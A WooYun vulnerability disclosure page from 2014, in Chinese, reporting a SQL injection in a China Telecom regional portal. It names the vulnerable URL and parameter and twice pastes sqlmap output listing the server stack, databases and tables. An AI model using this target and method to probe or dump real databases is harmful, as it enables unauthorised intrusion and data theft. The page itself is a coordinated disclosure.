当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084313

漏洞标题:山东省电信某地市门户sql注入漏洞一枚

相关厂商:中国电信

漏洞作者: 路人甲

提交时间:2014-11-24 15:45

修复时间:2015-01-08 15:46

公开时间:2015-01-08 15:46

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-24: 细节已通知厂商并且等待厂商处理中
2014-11-28: 厂商已经确认,细节仅向厂商公开
2014-12-08: 细节向核心白帽子及相关领域专家公开
2014-12-18: 细节向普通白帽子公开
2014-12-28: 细节向实习白帽子公开
2015-01-08: 细节向公众公开

简要描述:

山东省电信某地市门户sql注入漏洞一枚,可获取数据库
PS:希望可以拿到自己的第一个乌云账号~

详细说明:

某地市电信门户存在sql注入,目标URL为:http://www.ct10001.com.cn/alertnews.php?seqs=9
一下为sqlmap结果:
web server operating system: Windows
web application technology: PHP 5.3.6, Apache 2.2.4
back-end DBMS: MySQL 5.0
[00:15:55] [INFO] fetching database names
[00:15:55] [INFO] fetching tables for databases: 'information_schema, zhicheng,
zonghe'
Database: zonghe
[6 tables]
+---------------------------------------+
| user |
| dept |
| dept_points |
| staff |
| staff_points |
| user_2_staff |
+---------------------------------------+
Database: zhicheng
[7 tables]
+---------------------------------------+
| alertnews |
| dept |
| dept_lock |
| dept_money |
| master_2_user |
| users |
| users_money |
+---------------------------------------+
Database: information_schema
[40 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+

漏洞证明:

某地市电信门户存在sql注入,目标URL为:http://www.ct10001.com.cn/alertnews.php?seqs=9
一下为sqlmap结果:
web server operating system: Windows
web application technology: PHP 5.3.6, Apache 2.2.4
back-end DBMS: MySQL 5.0
[00:15:55] [INFO] fetching database names
[00:15:55] [INFO] fetching tables for databases: 'information_schema, zhicheng,
zonghe'
Database: zonghe
[6 tables]
+---------------------------------------+
| user |
| dept |
| dept_points |
| staff |
| staff_points |
| user_2_staff |
+---------------------------------------+
Database: zhicheng
[7 tables]
+---------------------------------------+
| alertnews |
| dept |
| dept_lock |
| dept_money |
| master_2_user |
| users |
| users_money |
+---------------------------------------+
Database: information_schema
[40 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+

修复方案:

看着改吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-11-28 15:26

厂商回复:

最新状态:

暂无


漏洞评价:

评论